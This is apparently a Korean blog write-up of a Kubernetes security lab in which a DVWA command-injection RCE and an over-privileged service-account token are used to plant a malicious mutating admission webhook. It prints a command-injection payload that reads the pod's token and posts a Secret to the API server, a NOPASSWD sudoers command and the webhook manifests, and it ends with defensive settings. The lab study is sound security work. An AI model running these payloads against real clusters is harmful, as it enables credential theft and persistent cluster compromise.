이번 Kubernetes 실습 시나리오는 Mutating Admission Webhook입니다.
https://malwareanalysis.tistory.com/756#comment25360934
예제로 살펴보는 쿠버네티스 보안
1. 이 글에서 다루고자 하는 내용쿠버네티스 보안은 정말 범위가 넓고 쿠버네티스만 공부해서는 어려운 내용이 많습니다. 그래서 이 글에서는 쿠버네티스 보안에 대한 이론적 설명보다는 어떤
malwareanalysis.tistory.com
실습 자료는 위 블로그 시나리오 3번 쿠버네티스 API 변조에 해당합니다.
먼저 k8s에서 pods이 생성되는 과정을 봐야 합니다.

저번 포스팅에서 k8s가 Master와 Node로 (Control Plane과 Worker) 나뉜다고 설명을 했었습니다.
왼쪽 Master는 control plane으로 k8s의 모든 요청은 API server를 거쳐서 연결이 됩니다
API server에 연결되어 있는 etcd와 scheduler가 있는데, etcd는 클러스터 상태 저장소로, 어떤 pod이 있고, 서비스가 있고, Secret이 있는지 저장됩니다.
사용가자 k8s로 pod 생성을 요청하면
-> API server가 요청을 수신한 뒤
-> etcd에 원하는 상태를 저장하고
-> scheduler가 Pod을 실행할 node를 선택한 뒤,
->해당 node의 kubelet에게 전달한 뒤 Pod이 생성됩니다.
악분님 블로그에 Admission controller에 대한 부분도 있는데,
https://malwareanalysis.tistory.com/704
쿠버네티스 Admission controller
1. Admission controller이란? 쿠버네티스 Admission controller는 말 그대로 Admission 기능을 수행합니다. Admission이라는 영어 단어는 허가를 의미하며, 쿠버네티스 세계에서 Admission은, 쿠버네티스 요청을 수
malwareanalysis.tistory.com

이 api서버와 etcd와의 사이에 Admission controller가 껴있게 됩니다.

해당 Admission Controller는 확장 기능이므로, admission controller가 피해자 서버에 없는 경우 공격자는 해당 웹훅 서버를 만들고, k8s API 서버에 등록해야 합니다.
해당 기능은 생성되는 pod들에 대한 일관적인 k8s 정책 설정에 필요합니다.
하지만 공격자는 해당 기능을 이용하여, Pod 생성 요청마다 Webhook이 악성 컨테이너를 추가하는 방식을 사용할 수 있습니다.
이번 시나리오에서는 저번에 사용했던 pod을 그대로 사용해서 진행을 해보겠습니다.
시나리오를 작성해보면,
- RCE가 가능한 웹/앱 취약점
- 해당 컨테이너에서 과한 권한이 위임됨을 확인
- admission controller pod 생성
- 일반 pod 생성후, 악성 컨테이너 실행 여부 확인
lacuc@DESKTOP-M4LJA7B:~$ kubectl port-forward -n dvwa svc/dvwa 8080:80
다시 포트포워딩을 접속해줬습니다.
공격 시나리오
공격자는 admission controller 생성을 위해, pod, svc, secret을 생성해야 합니다.
공격자는 생성 이전에, 환경탐색을 해야하고, 권한상승 취약점이 있는지 확인해야합니다.
그 전에 앞서 저는 커스텀 DVWA가 아니라 공식 DVWA를 이용중이라 sudo명령어가 없어서, 제 환경에 sudo명령어를 설치해주겠습니다.
kubectl exec -it -n dvwa deploy/dvwa -- sh -c 'apt update && apt install -y sudo && echo "www-data ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/www-data && chmod 440 /etc/sudoers.d/www-data'

공격자는 sudo id 명령어를 통해 권한 상승이 가능함을 확인했습니다.
공격자는 github에 있는 manifest 다운로드를 위해서 피해자의 pc에 wget 명령어를 설치합니다.

이제 잠깐 아까 봤던 내용으로 들어가야하는데,

그림처럼 k8s에서 웹훅 서버와 통신할때는 HTTPS로 통신하기 때문에, TLS 인증서가 필요합니다.
따라서 공격자는 ca.crt와 ca.key가 필요합니다.
악분님 깃허브에 ca.crt와 ca.key가 있습니다.
portfolio/kubernetes/security/manifests/admission_controller/certs at master · choisungwook/portfolio
portfolio. Contribute to choisungwook/portfolio development by creating an account on GitHub.
github.com
이걸 아까 다운로드 받은 wget으로 다운로드 해줍니다.


그 후 K8s API에 Secret 생성 요청을 보내야 합니다
127.0.0.1; cat /run/secrets/kubernetes.io/serviceaccount/token | { read TOKEN; curl -k -v -H "Authorization: Bearer $TOKEN" -H "Content-Type: application/json" -X POST -d '{"apiVersion":"v1","kind":"Secret","metadata":{"name":"webhook-certs","namespace":"default"},"data":{"tls.crt":"'"$(cat ca.crt | base64 | tr -d '\n')"'","tls.key":"'"$(cat ca.key | base64 | tr -d '\n')"'"},"type":"kubernetes.io/tls"}' https://kubernetes.default.svc.cluster.local/api/v1/namespaces/default/secrets; }
api로 요청보낼땐 curl로 보내는 부분을 참고하면 됩니다.
탈취한 k8s pod이 권한이 많았기 때문에 해당 ServiceAccount 권한으로 api서버에 요청을 보내는 부분입니다.
cert와 keyt는 아까 다운로드 받은 ca.crt와 ca.key를 디코딩해서 넣습니다.

생성에 성공하였습니다.
다음 단계는 Secret 사용하는 Webhook 서버 pod과 Service를 생성하는것입니다.
깃허브에서 manifest (pods을 어떻게 만들지)를 다운로드 받아야 합니다.

apiVersion: apps/v1
kind: Deployment
metadata:
name: admission-controller
namespace: default
spec:
replicas: 1
selector:
matchLabels:
app: admission-controller
template:
metadata:
labels:
app: admission-controller
spec:
containers:
- name: admission-controller
image: choisunguk/admission_controller_demo:v1
resources:
limits:
memory: "128Mi"
cpu: "200m"
ports:
- containerPort: 443
volumeMounts:
- name: webhook-certs
mountPath: /etc/webhook/certs
readOnly: true
volumes:
- name: webhook-certs
secret:
secretName: webhook-certs
이건 admission-controller에 대한 YAML형식 manifest입니다. (악분님 깃허브 출처)
이걸 그대로 wget으로 받은 뒤 curl요청으로 생성합니다.


생성이 잘 되었습니다
호스트pc에서 한번 확인을 해보면

admission-controller를 확인 가능합니다.
이제 API Server가 해당 Webhook pod을 찾을 수 있도록 Service를 생성해야합니다.
이것도 마찬가지로 악분님 깃허브에 있는 내용을 wget으로 다운로드 받은뒤 api에 curl요청으로 생성하였습니다.


마지막으로 mutate webhook을 생성해야 합니다.
해당 단계는 API 서버에게 pod을 생성할때마다 admission-controller server로 보내게끔 등록하는 과정입니다.
MutatingWebhookConfiguration 설정을 이용해서 등록합니다.

webhook의 manifest를 보면, rules에 operations: CREATE resources: pods가 되어있습니다
해당 코드는 pod가 생성될때만 가로채겠다는 의미입니다.
이제 설정이 완료되었으니 pod을 생성할 때 initContainer가 같이 생성 될 것입니다.

는 실패했습니다.
깃허브 실습 자료에 들어있는 인증서가 25년 8월 16일까지 유효해서 api server가 admission server를 신뢰하지 못하네요.
어쨌든 웹훅까지 설정을 완료했으니, 만족하고 포스팅을 마치겠습니다.
다음에 따로 인증서를 제 깃허브에 준비해둬야겠네요.
해당 공격에 대한 방어를 하려면 보안설정시 pod에 sudo 권한을 제거해야합니다.
또한 쿠버네티스에서 추가 설정으로 권한 상승을 막아야 합니다.
container 설정에서
securityContext:
allowPrivilegeEscalation: false
를 해두면 됩니다.
추가로 만약 pod에서 해당 설정이 필요한 경우 falco와 같은 런타임 보안 툴을 꼭 같ㅇ ㅣ봐야합니다
이상으로 포스팅을 마치겠습니다.
읽어주셔서 감사합니다./
'취약점분석 (Blue Team) > Cloud' 카테고리의 다른 글
| [k8s-goat] 1.Sensitive keys in codebases (0) | 2026.06.23 |
|---|---|
| [Cloud] K8s Resource Manifests (0) | 2026.06.23 |
| [Cloud] OWASP Kubernetes Top 10 (0) | 2026.06.17 |
| [Cloud] Kubernetes 보안 실습 시나리오 1 ( RCE후 Pod 생성 ) (1) | 2026.06.16 |
| [Cloud] 쿠버네티스 (Kubernetes, k8s) (0) | 2026.06.16 |